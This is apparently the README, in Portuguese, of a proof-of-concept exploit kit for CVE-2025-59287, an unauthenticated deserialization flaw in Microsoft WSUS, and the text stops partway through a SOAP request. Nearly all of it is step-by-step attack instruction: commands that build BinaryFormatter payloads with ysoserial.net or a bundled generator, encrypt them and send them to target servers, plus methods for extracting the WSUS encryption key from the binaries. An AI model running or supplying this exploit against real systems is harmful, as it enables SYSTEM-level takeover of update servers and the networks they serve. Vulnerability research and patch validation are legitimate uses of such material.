Exploit de Prova de Conceito CVE-2025-59287

Visão Geral da Vulnerabilidade

CVE-2025-59287 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Microsoft Windows Server Update Services (WSUS). A vulnerabilidade é causada pela desserialização insegura de dados AuthorizationCookie através do BinaryFormatter no método EncryptionHelper.DecryptData().

Impacto: Atacantes não autenticados podem alcançar execução remota de código com privilégios de SYSTEM enviando cookies criptografados maliciosos para o endpoint GetCookie().

Pontuação CVSS: Crítica (9.8)

Detalhes da Vulnerabilidade

• Componente Afetado: Endpoint GetCookie() do WSUS ClientWebService.asmx
• Causa Raiz: BinaryFormatter.Deserialize() chamado em entrada não confiável sem validação adequada
• Vetor de Ataque: Cookie criptografado malicioso enviado ao endpoint SOAP GetCookie()
• Autenticação Necessária: Não (RCE não autenticado)
• Portas Afetadas: 8530 (HTTP), 8531 (HTTPS)

Arquitetura

┌─────────────────┐
│   Atacante      │
│                 │
│  1. Gerar       │
│     Payload     │
│     BinaryFmt   │
│                 │
│  2. Criptografar│
│     Payload     │
│                 │
│  3. Enviar      │
│     Requisição  │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Servidor WSUS │
│                 │
│  Endpoint       │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── Vulnerável
│                 │
│  BinaryFormatter│◄─── Desserialização Insegura
│  Deserialize()  │
│                 │
│  Executar       │◄─── RCE como SYSTEM
│  Payload        │
└─────────────────┘

Estrutura de Arquivos

exploit-poc/
├── wsus_exploit.py                    # Script principal do exploit
├── BinaryFormatterPayloadGenerator.cs # Gerador de payload .NET (C#)
├── encrypt_payload.py                 # Auxiliar de criptografia WSUS
├── requirements.txt                   # Dependências Python
└── README.md                          # Este arquivo

Pré-requisitos

Ambiente Python

pip install -r requirements.txt

.NET Framework (para geração de payload)

• Windows com .NET Framework 4.0 ou posterior
• Ou usar ysoserial.net como alternativa

Uso

Método 1: Fluxo de Trabalho Completo

Passo 1: Gerar Payload BinaryFormatter

Opção A: Usando o gerador C# fornecido

# Compilar o gerador
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Gerar payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Cria: payload_YYYYMMDDHHMMSS.bin

Opção B: Usando ysoserial.net (Recomendado)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Passo 2: Criptografar o Payload

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

IMPORTANTE: A chave de criptografia em encrypt_payload.py é um espaço reservado. Para exploração real, você deve:

1. Fazer engenharia reversa da chave de criptografia real dos binários WSUS
2. Atualizar encrypt_payload.py com a chave real
3. Ver a seção "Encontrando a Chave de Criptografia WSUS" abaixo

Passo 3: Executar o Exploit

# Usando arquivo de payload (criptografará em tempo real)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Usando cookie pré-criptografado
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Com HTTPS (porta 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Método 2: Teste Rápido

# Gerar, criptografar e explorar de uma só vez
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_ALVO> -f payload_*.bin

Encontrando a Chave de Criptografia WSUS Real

A chave de criptografia deve ser extraída dos binários WSUS para exploração real.

Método 1: Engenharia Reversa com dnSpy

1. Localizar DLLs WSUS:

   %ProgramFiles%\Update Services\WebServices\bin\
   

   Ou diretório web IIS:

   %SystemDrive%\inetpub\wwwroot\wsusadmin\
   

2. Abrir no dnSpy (decompilador .NET gratuito):

   • Download: https://github.com/dnSpy/dnSpy
   • Abrir Microsoft.UpdateServices.WebServices.dll

3. Procurar por EncryptionHelper:

   • Navegar para: namespace Microsoft.UpdateServices.WebServices
   • Encontrar a classe EncryptionHelper
   • Observar os métodos DecryptData() e EncryptData()
   • Extrair a chave de criptografia e o algoritmo

4. Padrões comuns:

   • Arrays de bytes codificados
   • Constantes de string
   • Derivação de chave a partir do GUID/SID da máquina

Método 2: Análise em Tempo de Execução

1. Usar WinDbg ou x64dbg:

   • Definir ponto de interrupção em EncryptionHelper.DecryptData()
   • Inspecionar memória/registradores para material de chave
   • Monitorar operações de criptografia/descriptografia

2. Usar Process Monitor:

   • Filtrar pelo processo WSUS
   • Procurar acesso a registro/arquivos de configuração
   • Chaves podem estar armazenadas no registro

Método 3: Análise Estática

1. Usar IDA Pro ou Ghidra:

   • Carregar binários WSUS
   • Procurar strings relacionadas a criptografia
   • Analisar algoritmos de derivação de chave

2. Usar utilitário strings:

   strings Microsoft.UpdateServices.WebServices.dll | grep -i key
   strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
   

Atualizando o Exploit

Depois de obter a chave real, atualize encrypt_payload.py:

# Substitua esta linha em encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ESPAÇO RESERVADO

# Pela chave real:
key_material = b"CHAVE_REAL_DOS_BINARIOS_WSUS"

Ou passe via linha de comando:

python encrypt_payload.py payload.bin -k "CHAVE_REAL"

Fluxo do Exploit

┌─────────────────────────────────────────────────────────────┐
│ 1. Gerar Payload BinaryFormatter                             │
│    ObjectDataProvider → Process.Start() → Execução de Comando│
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Criptografar Payload                                      │
│    AES-128-CBC com chave de criptografia WSUS                │
│    Codificação Base64 para transmissão                       │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Criar Requisição SOAP                                     │
│    Cabeçalho AuthorizationCookie contém payload criptografado│
│    Método GetCookie() no corpo SOAP                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Enviar para Endpoint WSUS                                 │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Porta 8530 (HTTP) ou 8531 (HTTPS)                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Processamento WSUS                                        │
│    DecryptData() descriptografa o cookie                     │
│    BinaryFormatter.Deserialize() executa o payload           │
│    → RCE como SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

Estrutura da Requisição SOAP

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <ALVO>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client